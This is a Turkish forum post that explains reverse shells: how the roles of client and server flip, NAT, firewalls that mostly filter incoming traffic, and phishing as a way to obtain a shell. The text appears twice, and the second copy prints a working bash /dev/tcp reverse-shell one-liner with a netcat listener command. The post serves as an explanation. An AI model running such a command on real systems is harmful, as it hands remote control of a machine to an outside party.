Merhabalar, iyi forumlar herkese.
"Reverse Shell Nedir?" sorusunun cevabını çoğumuz biliyoruz. Nasıl çalıştığı konusundan ise fazla bahsedilmez ben bunun merak edip araştırdım ve kısaca konuyu paylaşmak istiyorum. İyi okumalar dilerim.
Normal bir iletişimde iki adet makinenin birisi client birisi server olur. Reverse kısmı ise bu aşamada devreye giriyor. Client serverın bir portuna bağlantı isteği gönderir geri dönüşünde ise client makinenin kullanılmayan bir portundan olur. Boştaki bu porta bağlanır, haberleşme gerçekleşir.
Bir remote shell işleminde istemci sunucudan bir shell açmasını ister, reverse shell olduğu zaman roller değişir sunucu, clientden bir shell açmasını ister.
Reverse Shell genellikle bir N(etwork)A(ddress)T(ranslation) arkasında olan bir sunucuya bağlanmak için kullanılır. (Bu işlem her zaman zarar vermek amaçlı yapılmaz tabi.) Reverse Shell yapmaktaki amaç target sistemde kod çalıştırmaktır(Kaçak yollardan terminale erişmek).
Not: NAT'dan kısaca bahsedecek olursak eğer bizim bir server makinemiz olsun bu server makine bir router/firewall arkasında bulunsun internal network'den external network'e çıkmak istediği zaman router'ı pingleyebilse bile router'dan öteye geçemez. "Request Time Out" alır. NAT yapıldığı zaman içerideki istek dışarı çıkabilir bir istek olarak çevirilir ve sonucunda external network(internet)'te diğer makineler ile konuşabilir duruma gelir. NAT nasıl yapılır, ve ne işe yarar temalı konuma buradan ulaşabilir ve daha detaylı bir şekilde inceleyebilirsiniz.
Reverse Shell her zaman tercih edilmez ama tabi tercih edildiği durumlarda mevcut ne gibi durumlar olduğuna kısaca değinecek olursak, firewall tarafından sadece http portuna bağlanma iznimiz var diyelim ben sunucudan ekstra bir port ile haberleşemiyorum.
Bu benim buradan reverse shell alamayacağım anlamına geliyor. Tabi şunuda unutmamak lazım işin içerisinde bir insan faktörü varsa eğer her zaman bir zafiyet vardır.
Kimi zaman bir Reverse Shell almak sosyal mühendislik yöntemleri ister. Phishing maili ile zararlı bir yazılım enjekte edilerek alınabilir.
Birde firewall makinelerde genellikle sadece gelen trafik kısıtlanır, içeriden dışarı çıkan dikkate alınmaz çünkü zaten hedef herkesin girememesini sağlamaktır.
Reverse Shell'e örnek verecek olursak
Bu örnekte target sistem 192.168.0.1 IP li makineye 8080 portundan bağlantı isteği gönderecektir. nc -lvnp 8080 ile portu dinlemeye aldıktan sonra Reverse Shell başarılı olursa hedef sistemde komut çalıştırabileceğimiz bir ortam hazırlamış olacağız.
Daha bir çok farklı şekillerde Reverse Shell örneğini buradan bulabilirsiniz.
Okuduğunuz için teşekkür eder, iyi forumlar dilerim.
"Reverse Shell Nedir?" sorusunun cevabını çoğumuz biliyoruz. Nasıl çalıştığı konusundan ise fazla bahsedilmez ben bunun merak edip araştırdım ve kısaca konuyu paylaşmak istiyorum. İyi okumalar dilerim.
Normal bir iletişimde iki adet makinenin birisi client birisi server olur. Reverse kısmı ise bu aşamada devreye giriyor. Client serverın bir portuna bağlantı isteği gönderir geri dönüşünde ise client makinenin kullanılmayan bir portundan olur. Boştaki bu porta bağlanır, haberleşme gerçekleşir.
Bir remote shell işleminde istemci sunucudan bir shell açmasını ister, reverse shell olduğu zaman roller değişir sunucu, clientden bir shell açmasını ister.
Reverse Shell genellikle bir N(etwork)A(ddress)T(ranslation) arkasında olan bir sunucuya bağlanmak için kullanılır. (Bu işlem her zaman zarar vermek amaçlı yapılmaz tabi.) Reverse Shell yapmaktaki amaç target sistemde kod çalıştırmaktır(Kaçak yollardan terminale erişmek).
Not: NAT'dan kısaca bahsedecek olursak eğer bizim bir server makinemiz olsun bu server makine bir router/firewall arkasında bulunsun internal network'den external network'e çıkmak istediği zaman router'ı pingleyebilse bile router'dan öteye geçemez. "Request Time Out" alır. NAT yapıldığı zaman içerideki istek dışarı çıkabilir bir istek olarak çevirilir ve sonucunda external network(internet)'te diğer makineler ile konuşabilir duruma gelir. NAT nasıl yapılır, ve ne işe yarar temalı konuma buradan ulaşabilir ve daha detaylı bir şekilde inceleyebilirsiniz.
Reverse Shell her zaman tercih edilmez ama tabi tercih edildiği durumlarda mevcut ne gibi durumlar olduğuna kısaca değinecek olursak, firewall tarafından sadece http portuna bağlanma iznimiz var diyelim ben sunucudan ekstra bir port ile haberleşemiyorum.
Bu benim buradan reverse shell alamayacağım anlamına geliyor. Tabi şunuda unutmamak lazım işin içerisinde bir insan faktörü varsa eğer her zaman bir zafiyet vardır.
Kimi zaman bir Reverse Shell almak sosyal mühendislik yöntemleri ister. Phishing maili ile zararlı bir yazılım enjekte edilerek alınabilir.
Birde firewall makinelerde genellikle sadece gelen trafik kısıtlanır, içeriden dışarı çıkan dikkate alınmaz çünkü zaten hedef herkesin girememesini sağlamaktır.
Reverse Shell'e örnek verecek olursak
Kod:
bash -i >& /dev/tcp/192.168.0.1/8080 0>&1
Bu örnekte target sistem 192.168.0.1 IP li makineye 8080 portundan bağlantı isteği gönderecektir. nc -lvnp 8080 ile portu dinlemeye aldıktan sonra Reverse Shell başarılı olursa hedef sistemde komut çalıştırabileceğimiz bir ortam hazırlamış olacağız.
Daha bir çok farklı şekillerde Reverse Shell örneğini buradan bulabilirsiniz.
Okuduğunuz için teşekkür eder, iyi forumlar dilerim.
Son düzenleme: